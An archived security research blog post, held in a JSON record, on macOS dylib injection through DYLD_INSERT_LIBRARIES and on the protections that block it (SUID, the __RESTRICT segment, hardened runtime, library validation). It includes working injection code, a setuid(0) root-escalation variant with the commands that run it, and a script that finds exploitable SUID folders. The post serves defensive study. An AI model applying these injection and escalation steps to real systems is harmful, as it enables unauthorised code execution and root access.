{
	"id": "f66bbf83-13af-4aac-8842-9bd647fde993",
	"created_at": "2026-04-06T00:14:10.093248Z",
	"updated_at": "2026-04-10T13:12:08.61367Z",
	"deleted_at": null,
	"sha1_hash": "cb9dd0395785e40a125a91467b6a032cc6b42db7",
	"title": "DYLD_INSERT_LIBRARIES DYLIB injection in macOS / OSX",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 291974,
	"plain_text": "DYLD_INSERT_LIBRARIES DYLIB injection in macOS / OSX\r\nBy Csaba Fitzl\r\nPublished: 2019-07-09 · Archived: 2026-04-06 00:04:42 UTC\r\nAfter my recent blog post, my old mate @_Dark_Knight_ reached out to me and he asked me a question:\r\n“Do you typically callout user apps that allow dyld_insert_libraries?”\r\nAnd a few similar ones, and I will be honest, I had no idea what is he talking about, if only I understood the\r\nquestion :D Despite the fact that my recent blog posts and talks are about macOS, I deal much more with\r\nWindows on a daily basis, probably like 95%, and macOS is still a whole new territory for me. So I decided to dig\r\ninto the question and learn a bit more about this.\r\nAs it turns out there is a very well known injection technique for macOS utilizing DYLD_INSERT_LIBRARIES\r\nenvironment variable. Here is the description of the variable from the dyld man document:\r\nDYLD_INSERT_LIBRARIES\r\n This is a colon separated list of dynamic libraries to load before the ones specified in the\r\n program. This lets you test new modules of existing dynamic shared libraries that are used in\r\n flat-namespace images by loading a temporary dynamic shared library with just the new modules.\r\n Note that this has no effect on images built a two-level namespace images using a dynamic\r\n shared library unless DYLD_FORCE_FLAT_NAMESPACE is also used.\r\nIn short, it will load any dylibs you specify in this variable before the program loads, essentially injecting a dylib\r\ninto the application. Let’s try it! I took my previous dylib code I used when playing with dylib hijacking:\r\n#include \u003cstdio.h\u003e\r\n#include \u003csyslog.h\u003e\r\n__attribute__((constructor))\r\nstatic void customConstructor(int argc, const char **argv)\r\n {\r\n printf(\"Hello from dylib!\\n\");\r\n syslog(LOG_ERR, \"Dylib injection successful in %s\\n\", argv[0]);\r\n}\r\nCompile:\r\ngcc -dynamiclib inject.c -o inject.dylib\r\nhttps://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/\r\nPage 1 of 15\n\nFor a quick test I made a sophisticated hello world C code, and tried it with that. In order to set the environment\r\nvariable for the application to be executed, you need to specify DYLD_INSERT_LIBRARIES=[path to your dylib]\r\nin the command line. Here is how it looks like:\r\n$ ./test\r\nHello world\r\n$ DYLD_INSERT_LIBRARIES=inject.dylib ./test\r\nHello from dylib!\r\nHello world\r\nExecuting my favourite note taker application, Bear (where I’m writing this right now) is also affected:\r\n$ DYLD_INSERT_LIBRARIES=inject.dylib /Applications/Bear.app/Contents/MacOS/Bear\r\nHello from dylib!\r\nWe can also see all these events in the log (as our dylib puts there a message):\r\nThere are two nice examples in the following blog posts about how to hook the application itself:\r\nThomas Finch - Hooking C Functions at Runtime\r\nSimple code injection using DYLD_INSERT_LIBRARIES\r\nI will not repeat those, so if you are interested please read those.\r\nCan you prevent this infection? Michael mentioned that you can do it by adding a RESTRICTED segment at\r\ncompile time, so I decided to research it more. According to Blocking Code Injection on iOS and OS X there are\r\nthree cases when this environment variable will be ignored:\r\n1. setuid and/or setgid bits are set\r\n2. restricted by entitlements\r\n3. restricted segment\r\nWe can actually see this in the source code of dyld - this is an older version, but it’s also more readable:\r\nhttps://opensource.apple.com/source/dyld/dyld-210.2.3/src/dyld.cpp\r\nThe function pruneEnvironmentVariables will remove the environment variables:\r\nstatic void pruneEnvironmentVariables(const char* envp[], const char*** applep)\r\n{\r\n// delete all DYLD_* and LD_LIBRARY_PATH environment variables\r\nint removedCount = 0;\r\nhttps://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/\r\nPage 2 of 15\n\nconst char** d = envp;\r\nfor(const char** s = envp; *s != NULL; s++) {\r\n if ( (strncmp(*s, \"DYLD_\", 5) != 0) \u0026\u0026 (strncmp(*s, \"LD_LIBRARY_PATH=\", 16) != 0) ) {\r\n*d++ = *s;\r\n}\r\nelse {\r\n++removedCount;\r\n}\r\n}\r\n*d++ = NULL;\r\nif ( removedCount != 0 ) {\r\ndyld::log(\"dyld: DYLD_ environment variables being ignored because \");\r\nswitch (sRestrictedReason) {\r\ncase restrictedNot:\r\nbreak;\r\ncase restrictedBySetGUid:\r\ndyld::log(\"main executable (%s) is setuid or setgid\\n\", sExecPath);\r\nbreak;\r\ncase restrictedBySegment:\r\ndyld::log(\"main executable (%s) has __RESTRICT/__restrict section\\n\", sExecP\r\nbreak;\r\ncase restrictedByEntitlements:\r\ndyld::log(\"main executable (%s) is code signed with entitlements\\n\", sExecPa\r\nbreak;\r\n}\r\n}\r\n// slide apple parameters\r\nif ( removedCount \u003e 0 ) {\r\n*applep = d;\r\ndo {\r\n*d = d[removedCount];\r\n} while ( *d++ != NULL );\r\nfor(int i=0; i \u003c removedCount; ++i)\r\n*d++ = NULL;\r\n}\r\n// disable framework and library fallback paths for setuid binaries rdar://problem/4589305\r\nsEnv.DYLD_FALLBACK_FRAMEWORK_PATH = NULL;\r\nsEnv.DYLD_FALLBACK_LIBRARY_PATH = NULL;\r\n}\r\nIf we search where the variable sRestrictedReason is set, we arrive to the function processRestricted :\r\nstatic bool processRestricted(const macho_header* mainExecutableMH)\r\n{\r\nhttps://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/\r\nPage 3 of 15\n\n// all processes with setuid or setgid bit set are restricted\r\n if ( issetugid() ) {\r\nsRestrictedReason = restrictedBySetGUid;\r\nreturn true;\r\n}\r\nconst uid_t euid = geteuid();\r\nif ( (euid != 0) \u0026\u0026 hasRestrictedSegment(mainExecutableMH) ) {\r\n// existence of __RESTRICT/__restrict section make process restricted\r\nsRestrictedReason = restrictedBySegment;\r\nreturn true;\r\n}\r\n#if __MAC_OS_X_VERSION_MIN_REQUIRED\r\n // ask kernel if code signature of program makes it restricted\r\n uint32_t flags;\r\n if ( syscall(SYS_csops /* 169 */,\r\n 0 /* asking about myself */,\r\n CS_OPS_STATUS,\r\n \u0026flags,\r\n sizeof(flags)) != -1) {\r\n if (flags \u0026 CS_RESTRICT) {\r\nsRestrictedReason = restrictedByEntitlements;\r\nreturn true;\r\n}\r\n }\r\n#endif\r\n return false;\r\n}\r\nThis is the code segment that will identify the restricted segment:\r\n//\r\n// Look for a special segment in the mach header.\r\n// Its presences means that the binary wants to have DYLD ignore\r\n// DYLD_ environment variables.\r\n//\r\n#if __MAC_OS_X_VERSION_MIN_REQUIRED\r\nstatic bool hasRestrictedSegment(const macho_header* mh)\r\n{\r\nconst uint32_t cmd_count = mh-\u003encmds;\r\nconst struct load_command* const cmds = (struct load_command*)(((char*)mh)+sizeof(macho_header));\r\nconst struct load_command* cmd = cmds;\r\nfor (uint32_t i = 0; i \u003c cmd_count; ++i) {\r\nswitch (cmd-\u003ecmd) {\r\ncase LC_SEGMENT_COMMAND:\r\nhttps://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/\r\nPage 4 of 15\n\n{\r\nconst struct macho_segment_command* seg = (struct macho_segment_command*)cmd\r\n//dyld::log(\"seg name: %s\\n\", seg-\u003esegname);\r\nif (strcmp(seg-\u003esegname, \"__RESTRICT\") == 0) {\r\nconst struct macho_section* const sectionsStart = (struct macho_sec\r\nconst struct macho_section* const sectionsEnd = \u0026sectionsStart[seg-for (const struct macho_section* sect=sectionsStart; sect \u003c section\r\nif (strcmp(sect-\u003esectname, \"__restrict\") == 0)\r\nreturn true;\r\n}\r\n}\r\n}\r\nbreak;\r\n}\r\ncmd = (const struct load_command*)(((char*)cmd)+cmd-\u003ecmdsize);\r\n}\r\nreturn false;\r\n}\r\n#endif\r\nNow, the above is the old source code, that was referred in the article above - since then it has evolved. The latest\r\navailable code is dyld.cpp looks slightly more complicated, but essentially the same idea. Here is the relevant code\r\nsegment, that sets the restriction, and the one that returns it ( configureProcessRestrictions ,\r\nprocessIsRestricted ):\r\nstatic void configureProcessRestrictions(const macho_header* mainExecutableMH)\r\n{\r\nuint64_t amfiInputFlags = 0;\r\n#if TARGET_IPHONE_SIMULATOR\r\namfiInputFlags |= AMFI_DYLD_INPUT_PROC_IN_SIMULATOR;\r\n#elif __MAC_OS_X_VERSION_MIN_REQUIRED\r\nif ( hasRestrictedSegment(mainExecutableMH) )\r\namfiInputFlags |= AMFI_DYLD_INPUT_PROC_HAS_RESTRICT_SEG;\r\n#elif __IPHONE_OS_VERSION_MIN_REQUIRED\r\nif ( isFairPlayEncrypted(mainExecutableMH) )\r\namfiInputFlags |= AMFI_DYLD_INPUT_PROC_IS_ENCRYPTED;\r\n#endif\r\nuint64_t amfiOutputFlags = 0;\r\nif ( amfi_check_dyld_policy_self(amfiInputFlags, \u0026amfiOutputFlags) == 0 ) {\r\ngLinkContext.allowAtPaths = (amfiOutputFlags \u0026 AMFI_DYLD_OUTPUT_ALL\r\ngLinkContext.allowEnvVarsPrint = (amfiOutputFlags \u0026 AMFI_DYLD_OUTPUT_ALL\r\ngLinkContext.allowEnvVarsPath = (amfiOutputFlags \u0026 AMFI_DYLD_OUTPUT_ALL\r\ngLinkContext.allowEnvVarsSharedCache = (amfiOutputFlags \u0026 AMFI_DYLD_OUTPUT_ALLOW_CUSTOM\r\ngLinkContext.allowClassicFallbackPaths = (amfiOutputFlags \u0026 AMFI_DYLD_OUTPUT_ALLOW_FALLBA\r\nhttps://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/\r\nPage 5 of 15\n\ngLinkContext.allowInsertFailures = (amfiOutputFlags \u0026 AMFI_DYLD_OUTPUT_ALLOW_FAILED\r\n}\r\nelse {\r\n#if __MAC_OS_X_VERSION_MIN_REQUIRED\r\n// support chrooting from old kernel\r\nbool isRestricted = false;\r\nbool libraryValidation = false;\r\n// any processes with setuid or setgid bit set or with __RESTRICT segment is restricted\r\nif ( issetugid() || hasRestrictedSegment(mainExecutableMH) ) {\r\nisRestricted = true;\r\n}\r\nbool usingSIP = (csr_check(CSR_ALLOW_TASK_FOR_PID) != 0);\r\nuint32_t flags;\r\nif ( csops(0, CS_OPS_STATUS, \u0026flags, sizeof(flags)) != -1 ) {\r\n// On OS X CS_RESTRICT means the program was signed with entitlements\r\nif ( ((flags \u0026 CS_RESTRICT) == CS_RESTRICT) \u0026\u0026 usingSIP ) {\r\nisRestricted = true;\r\n}\r\n// Library Validation loosens searching but requires everything to be code signed\r\nif ( flags \u0026 CS_REQUIRE_LV ) {\r\nisRestricted = false;\r\nlibraryValidation = true;\r\n}\r\n}\r\ngLinkContext.allowAtPaths = !isRestricted;\r\ngLinkContext.allowEnvVarsPrint = !isRestricted;\r\ngLinkContext.allowEnvVarsPath = !isRestricted;\r\ngLinkContext.allowEnvVarsSharedCache = !libraryValidation || !usingSIP;\r\ngLinkContext.allowClassicFallbackPaths = !isRestricted;\r\ngLinkContext.allowInsertFailures = false;\r\n#else\r\nhalt(\"amfi_check_dyld_policy_self() failed\\n\");\r\n#endif\r\n}\r\n}\r\nbool processIsRestricted()\r\n{\r\n#if __MAC_OS_X_VERSION_MIN_REQUIRED\r\nreturn !gLinkContext.allowEnvVarsPath;\r\n#else\r\nreturn false;\r\n#endif\r\n}\r\nIt will set the gLinkContext.allowEnvVarsPath to false if:\r\nhttps://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/\r\nPage 6 of 15\n\n1. The main executable has restricted segment\r\n2. suid / guid bits are set\r\n3. SIP is enabled (if anyone wonders CSR_ALLOW_TASK_FOR_PID is a SIP boot configuration flag, but I don’t\r\nknow much more about it) and the program has the CS_RESTRICT flag (on OSX = program was signed\r\nwith entitlements)\r\nBut! It’s unset if CS_REQUIRE_LV is set. What this flag does? If it’s set for the main binary, it means that the loader\r\nwill verify every single dylib loaded into the application, if they were signed with the same key as the main\r\nexecutable. If we think about this it kinda makes sense, as you can only inject a dylib to the application that was\r\ndeveloped by the same person. You can only abuse this if you have access to that code signing certificate - or not,\r\nmore on that later ;).\r\nThere is another option to protect the application, and it’s enabling Hardened Runtime. Then if you want, you can\r\nspecifically enable DYLD environment variables: Allow DYLD Environment Variables Entitlement -\r\nEntitlements. The above source code seems to be dated back to 2013, and this option is only available since\r\nMojave (10.14), which was released last year (2018), probably this is why we don’t see anything about this in the\r\nsource code.\r\nFor the record, these are the values of the CS flags, taken from cs_blobs.h\r\n#define CS_RESTRICT 0x0000800 /* tell dyld to treat restricted */\r\n#define CS_REQUIRE_LV 0x0002000 /* require library validation */\r\n#define CS_RUNTIME 0x00010000 /* Apply hardened runtime policies */\r\nThis was the theory, let’s see all of these in practice, if they indeed work as advertised. I will create an Xcode\r\nproject and modify the configuration as needed. Before that we can use our original code for the SUID bit testing,\r\nand as we can see it works as expected:\r\n#setting ownership\r\n$ sudo chown root test\r\n$ ls -l test\r\n-rwxr-xr-x 1 root staff 8432 Jul 8 16:46 test\r\n#setting suid flag, and running, as we can see the dylib is not run\r\n$ sudo chmod +s test\r\n$ ls -l test\r\n-rwsr-sr-x 1 root staff 8432 Jul 8 16:46 test\r\n$ ./test\r\nHello world\r\n$ DYLD_INSERT_LIBRARIES=inject.dylib ./test\r\nHello world\r\n#removing suid flag and running\r\n$ sudo chmod -s test\r\n$ ls -l test\r\nhttps://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/\r\nPage 7 of 15\n\n-rwxr-xr-x 1 root staff 8432 Jul 8 16:46 test\r\n$ DYLD_INSERT_LIBRARIES=inject.dylib ./test\r\nHello from dylib!\r\nHello world\r\nInterestingly, in the past, there was an LPE bug from incorrectly handling one of the environment variables, and\r\nwith SUID files, you could achieve privilege escalation, here you can read the details: OS X 10.10\r\nDYLD_PRINT_TO_FILE Local Privilege Escalation Vulnerability | SektionEins GmbH\r\nI created a complete blank Cocoa App for testing the other stuff. I also export the environment variable, so we\r\ndon’t need to specify it always:\r\nexport DYLD_INSERT_LIBRARIES=inject.dylib\r\nIf we compile it, and run as default, we can see that dylib is injected:\r\n$ ./HelloWorldCocoa.app/Contents/MacOS/HelloWorldCocoa\r\nHello from dylib!\r\nTo have a restricted section, on the Build Settings -\u003e Linking -\u003e Other linker flags let’s set this value:\r\n-Wl,-sectcreate,__RESTRICT,__restrict,/dev/null\r\nIf we recompile, we will see a whole bunch of errors, that dylibs are being ignored, like these:\r\ndyld: warning, LC_RPATH @executable_path/../Frameworks in /Users/csaby/Library/Developer/Xcode/DerivedData/Hell\r\ndyld: warning, LC_RPATH @executable_path/../Frameworks in /Users/csaby/Library/Developer/Xcode/DerivedData/Hello\r\nOur dylib is also not loaded, so indeed it works as expected. We can verify the segment being present with the size\r\ncommand, and indeed we can see it there:\r\n$ size -x -l -m HelloWorldCocoa.app/Contents/MacOS/HelloWorldCocoa\r\nSegment __PAGEZERO: 0x100000000 (vmaddr 0x0 fileoff 0)\r\nSegment __TEXT: 0x2000 (vmaddr 0x100000000 fileoff 0)\r\nSection __text: 0x15c (addr 0x1000012b0 offset 4784)\r\nSection __stubs: 0x24 (addr 0x10000140c offset 5132)\r\nSection __stub_helper: 0x4c (addr 0x100001430 offset 5168)\r\nSection __objc_classname: 0x2d (addr 0x10000147c offset 5244)\r\nSection __objc_methname: 0x690 (addr 0x1000014a9 offset 5289)\r\nSection __objc_methtype: 0x417 (addr 0x100001b39 offset 6969)\r\nSection __cstring: 0x67 (addr 0x100001f50 offset 8016)\r\nSection __unwind_info: 0x48 (addr 0x100001fb8 offset 8120)\r\ntotal 0xd4f\r\nhttps://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/\r\nPage 8 of 15\n\nSegment __DATA: 0x1000 (vmaddr 0x100002000 fileoff 8192)\r\nSection __nl_symbol_ptr: 0x10 (addr 0x100002000 offset 8192)\r\nSection __la_symbol_ptr: 0x30 (addr 0x100002010 offset 8208)\r\nSection __objc_classlist: 0x8 (addr 0x100002040 offset 8256)\r\nSection __objc_protolist: 0x10 (addr 0x100002048 offset 8264)\r\nSection __objc_imageinfo: 0x8 (addr 0x100002058 offset 8280)\r\nSection __objc_const: 0x9a0 (addr 0x100002060 offset 8288)\r\nSection __objc_ivar: 0x8 (addr 0x100002a00 offset 10752)\r\nSection __objc_data: 0x50 (addr 0x100002a08 offset 10760)\r\nSection __data: 0xc0 (addr 0x100002a58 offset 10840)\r\ntotal 0xb18\r\nSegment __RESTRICT: 0x0 (vmaddr 0x100003000 fileoff 12288)\r\nSection __restrict: 0x0 (addr 0x100003000 offset 12288)\r\ntotal 0x0\r\nSegment __LINKEDIT: 0x6000 (vmaddr 0x100003000 fileoff 12288)\r\ntotal 0x100009000\r\nAlternatively we can use the otool -l [path to the binary] command for the same purpose, the output will be\r\nslightly different.\r\nNext one is setting the app to have ( hardened runtime ), we can do this at the Build Settings -\u003e Signing -\u003e\r\nEnable Hardened Runtime or at the Capabilities section. If we do this and rebuild the app, and try to run it, we get\r\nthe following error:\r\ndyld: warning: could not load inserted library 'inject.dylib' into hardened process because no suitable image f\r\ninject.dylib: code signature in (inject.dylib) not valid for use in process using Library Validation: m\r\ninject.dylib: stat() failed with errno=1\r\nIf I code sign my dylib using the same certificate the dylib will be loaded:\r\ncodesign -s \"Mac Developer: fitzl.csaba.dev@gmail.com (RQGUDM4LR2)\" inject.dylib\r\n$ codesign -dvvv inject.dylib\r\nExecutable=inject.dylib\r\nIdentifier=inject\r\nFormat=Mach-O thin (x86_64)\r\nCodeDirectory v=20200 size=230 flags=0x0(none) hashes=3+2 location=embedded\r\nHash type=sha256 size=32\r\nCandidateCDHash sha256=348bf4f1a2cf3d6b608e3d4cfd0d673fdd7c9795\r\nHash choices=sha256\r\nCDHash=348bf4f1a2cf3d6b608e3d4cfd0d673fdd7c9795\r\nSignature size=4707\r\nAuthority=Mac Developer: fitzl.csaba.dev@gmail.com (RQGUDM4LR2)\r\nAuthority=Apple Worldwide Developer Relations Certification Authority\r\nAuthority=Apple Root CA\r\nhttps://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/\r\nPage 9 of 15\n\nSigned Time=2019. Jul 9. 11:40:15\r\nInfo.plist=not bound\r\nTeamIdentifier=33YRLYRBYV\r\nSealed Resources=none\r\nInternal requirements count=1 size=180\r\n$ /HelloWorldCocoa.app/Contents/MacOS/HelloWorldCocoa\r\nHello from dylib!\r\nIf I use another certificate for code signing, it won’t be loaded as you can see below. I want to highlight that this\r\nverification is always being done, it’s not a Gatekeeper thing.\r\n$ codesign -f -s \"Mac Developer: fitzl.csaba@gmail.com (M9UN3Y3UDG)\" inject.dylib\r\ninject.dylib: replacing existing signature\r\n$ codesign -dvvv inject.dylib\r\nExecutable=inject.dylib\r\nIdentifier=inject\r\nFormat=Mach-O thin (x86_64)\r\nCodeDirectory v=20200 size=230 flags=0x0(none) hashes=3+2 location=embedded\r\nHash type=sha256 size=32\r\nCandidateCDHash sha256=2a3de5a788d89ef100d1193c492bfddd6042e04c\r\nHash choices=sha256\r\nCDHash=2a3de5a788d89ef100d1193c492bfddd6042e04c\r\nSignature size=4703\r\nAuthority=Mac Developer: fitzl.csaba@gmail.com (M9UN3Y3UDG)\r\nAuthority=Apple Worldwide Developer Relations Certification Authority\r\nAuthority=Apple Root CA\r\nSigned Time=2019. Jul 9. 11:43:57\r\nInfo.plist=not bound\r\nTeamIdentifier=E7Q33VUH49\r\nSealed Resources=none\r\nInternal requirements count=1 size=176\r\n$ /HelloWorldCocoa.app/Contents/MacOS/HelloWorldCocoa\r\ndyld: warning: could not load inserted library 'inject.dylib' into hardened process because no suitable image fo\r\ninject.dylib: code signature in (inject.dylib) not valid for use in process using Library Validation: m\r\ninject.dylib: stat() failed with errno=1\r\nInterestingly, even if I set the com.apple.security.cs.allow-dyld-environment-variables entitlement at the\r\ncapabilities page, I can’t load a dylib with other signature. Not sure what I’m doing wrong.\r\nhttps://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/\r\nPage 10 of 15\n\nTo move on, let’s set the library validation ( CS_REQUIRE_LV ) requirement for the application. It can be done, by\r\ngoing to Build Settings -\u003e Signing -\u003e Other Code Signing Flags and set it to -o library . If we recompile\r\nand check the code signature for our binary, we can see it enabled:\r\n$ codesign -dvvv /HelloWorldCocoa.app/Contents/MacOS/HelloWorldCocoa\r\nExecutable=/HelloWorldCocoa.app/Contents/MacOS/HelloWorldCocoa\r\n(...)\r\nCodeDirectory v=20200 size=377 flags=0x2000(library-validation) hashes=4+5 location=embedded\r\n(...)\r\nAnd we get the same error message as with the hardened runtime if we try to load a dylib with different signer.\r\ndyld: warning: could not load inserted library 'inject.dylib' into hardened process because no suitable image f\r\ninject.dylib: code signature in (inject.dylib) not valid for use in process using Library Validation: m\r\ninject.dylib: stat() failed with errno=1\r\nThe last item to try would be to set the CS_RESTRICT flag, but the only thing I found about this is that it’s a\r\nspecial flag only set for Apple binaries. If anyone can give more background, let me know, I’m curious. The only\r\nthing I could do to verify it, is trying to inject to an Apple binary, which doesn’t have the previous flags set, not a\r\nsuid file neither has a RESTRICTED segment. Interestingly the CS_RESTRICT flag is not reflected by the code\r\nsigning utility. I picked up Disk Utility. Indeed our dylib is not loaded:\r\n$ codesign -dvvv /Applications/Utilities/Disk\\ Utility.app/Contents/MacOS/Disk\\ Utility\r\nExecutable=/Applications/Utilities/Disk Utility.app/Contents/MacOS/Disk Utility\r\nIdentifier=com.apple.DiskUtility\r\nFormat=app bundle with Mach-O thin (x86_64)\r\nCodeDirectory v=20100 size=8646 flags=0x0(none) hashes=263+5 location=embedded\r\nPlatform identifier=7\r\nHash type=sha256 size=32\r\nCandidateCDHash sha256=2fbbd1e193e5dff4248aadeef196ef181b1adc26\r\nHash choices=sha256\r\nCDHash=2fbbd1e193e5dff4248aadeef196ef181b1adc26\r\nSignature size=4485\r\nAuthority=Software Signing\r\nAuthority=Apple Code Signing Certification Authority\r\nhttps://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/\r\nPage 11 of 15\n\nAuthority=Apple Root CA\r\nInfo.plist entries=28\r\nTeamIdentifier=not set\r\nSealed Resources version=2 rules=13 files=1138\r\nInternal requirements count=1 size=72\r\n$ DYLD_INSERT_LIBRARIES=inject.dylib /Applications/Utilities/Disk\\ Utility.app/Contents/MacOS/Disk\\ Utility\r\nI would say that’s all, but no. Let’s go back to the fact that you can inject a dylib even to SUID files if the\r\nCS_REQUIRE_LV flag is set. (In fact probably also to files with the CS_RUNTIME flag). Yes, only dylibs with the\r\nsame signature, but there is a potential (although small) for privilege escalation. To show, I modified my dylib:\r\n#include \u003cstdio.h\u003e\r\n#include \u003csyslog.h\u003e\r\n#include \u003cstdlib.h\u003e\r\n__attribute__((constructor))\r\nstatic void customConstructor(int argc, const char **argv)\r\n {\r\nsetuid(0);\r\n system(\"id\");\r\nprintf(\"Hello from dylib!\\n\");\r\nsyslog(LOG_ERR, \"Dylib injection successful in %s\\n\", argv[0]);\r\n}\r\nLet’s sign this, and the test program with the same certificate and set the SUID bit for the test binary and run it. As\r\nwe can see we can inject a dylib as expected and indeed it will run as root.\r\ngcc -dynamiclib inject.c -o inject.dylib\r\ncodesign -f -s \"Mac Developer: fitzl.csaba@gmail.com (M9UN3Y3UDG)\" inject.dylib\r\ncodesign -f -s \"Mac Developer: fitzl.csaba@gmail.com (M9UN3Y3UDG)\" -o library test\r\nsudo chown root test\r\nsudo chmod +s test\r\nls -l test\r\n-rwsr-sr-x 1 root staff 26912 Jul 9 14:01 test\r\ncodesign -dvvv test\r\nExecutable=/Users/csaby/Downloads/test\r\nIdentifier=test\r\nFormat=Mach-O thin (x86_64)\r\nCodeDirectory v=20200 size=228 flags=0x2000(library-validation) hashes=3+2 location=embedded\r\nHash type=sha256 size=32\r\nCandidateCDHash sha256=7d06a7229cbc476270e455cb3ef88bdddf109f12\r\nHash choices=sha256\r\nhttps://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/\r\nPage 12 of 15\n\nCDHash=7d06a7229cbc476270e455cb3ef88bdddf109f12\r\nSignature size=4703\r\nAuthority=Mac Developer: fitzl.csaba@gmail.com (M9UN3Y3UDG)\r\nAuthority=Apple Worldwide Developer Relations Certification Authority\r\nAuthority=Apple Root CA\r\nSigned Time=2019. Jul 9. 14:01:03\r\nInfo.plist=not bound\r\nTeamIdentifier=E7Q33VUH49\r\nSealed Resources=none\r\nInternal requirements count=1 size=172\r\n./test\r\nuid=0(root) gid=0(wheel) egid=20(staff) groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),\r\nHello from dylib!\r\nHello world\r\nIn theory you need one of the following to exploit this:\r\n1. Have the code signing certificate of the original executable (very unlikely)\r\n2. Have write access to the folder, where the file with SUID bit present -\u003e in this case you can sign the file\r\nwith your own certificate (code sign will replace the file you sign, so it will delete the original and create a\r\nnew - this is possible because on *nix systems you can delete files from directories, where you are the\r\nowner even if the file is owned by root), wait for the SUID bit to be restored (fingers crossed) and finally\r\ninject your own dylib. You would think that such scenario wouldn’t exist, but I did find an example for it.\r\nHere is a quick and dirty python script to find #2 items, mostly put together from StackOverflow :D\r\n#!/usr/bin/python3\r\nimport os\r\nimport getpass\r\nfrom pathlib import Path\r\nbinaryPaths = ('/Applications/GNS3/Resources/')\r\nusername = getpass.getuser()\r\nfor binaryPath in binaryPaths:\r\nfor rootDir,subDirs,subFiles in os.walk(binaryPath):\r\nfor subFile in subFiles:\r\nabsPath = os.path.join(rootDir,subFile)\r\ntry:\r\npermission = oct(os.stat(absPath).st_mode)[-4:]\r\nspecialPermission = permission[0]\r\nif int(specialPermission) \u003e= 4:\r\np = Path(os.path.abspath(os.path.join(absPath, os.pardir)))\r\nif p.owner() == username:\r\nhttps://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/\r\nPage 13 of 15\n\nprint(\"Potential issue found, owner of parent folder is:\",\r\nprint(permission , absPath)\r\nexcept:\r\npass\r\nOne last thought on this topic is GateKeeper. You can inject quarantine flagged binaries in Mojave, which in fact\r\nis pretty much expected.\r\n$ ./test\r\nuid=0(root) gid=0(wheel) egid=20(staff) groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),\r\nHello from dylib!\r\nHello world\r\n$ xattr -l inject.dylib\r\ncom.apple.metadata:kMDItemWhereFroms:\r\n00000000 62 70 6C 69 73 74 30 30 A2 01 02 5F 10 22 68 74 |bplist00..._.\"ht|\r\n00000010 74 70 3A 2F 2F 31 32 37 2E 30 2E 30 2E 31 3A 38 |tp://127.0.0.1:8|\r\n00000020 30 38 30 2F 69 6E 6A 65 63 74 2E 64 79 6C 69 62 |080/inject.dylib|\r\n00000030 5F 10 16 68 74 74 70 3A 2F 2F 31 32 37 2E 30 2E |_..http://127.0.|\r\n00000040 30 2E 31 3A 38 30 38 30 2F 08 0B 30 00 00 00 00 |0.1:8080/..0....|\r\n00000050 00 00 01 01 00 00 00 00 00 00 00 03 00 00 00 00 |................|\r\n00000060 00 00 00 00 00 00 00 00 00 00 00 49 |...........I|\r\n0000006c\r\ncom.apple.quarantine: 0081;5d248e35;Chrome;CE4482F1-0AD8-4387-ABF6-C05A4443CAF4\r\nHowever it doesn’t work anymore on Catalina, which is also expected with the introduced changes:\r\nWe got a very similar error message as before:\r\nhttps://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/\r\nPage 14 of 15\n\ndyld: could not load inserted library 'inject.dylib' because no suitable image found. Did find:\r\ninject.dylib: code signature in (inject.dylib) not valid for use in process using Library Validation: L\r\ninject.dylib: stat() failed with errno=1\r\nI think applications should protect themselves against this type of dylib injection, and as it stands, it’s pretty easy\r\nto do, you have a handful of options, so there is really no reason not to do so. As Apple is moving towards\r\nnotarization hardened runtime will be enabled slowly for most/all applications (it is mandatory for notarised apps),\r\nso hopefully this injection technique will fade away slowly. If you develop an app where you set the SUID bit, be\r\nsure to properly set permissions for the parent folder.\r\nGIST link to codes: DYLD_INSERT_LIBRARIES DYLIB injection in macOS / OSX deep dive · GitHub\r\nSource: https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/\r\nhttps://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/\r\nPage 15 of 15",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/"
	],
	"report_names": [
		"dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive"
	],
	"threat_actors": [],
	"ts_created_at": 1775434450,
	"ts_updated_at": 1775826728,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/cb9dd0395785e40a125a91467b6a032cc6b42db7.pdf",
		"text": "https://archive.orkl.eu/cb9dd0395785e40a125a91467b6a032cc6b42db7.txt",
		"img": "https://archive.orkl.eu/cb9dd0395785e40a125a91467b6a032cc6b42db7.jpg"
	}
}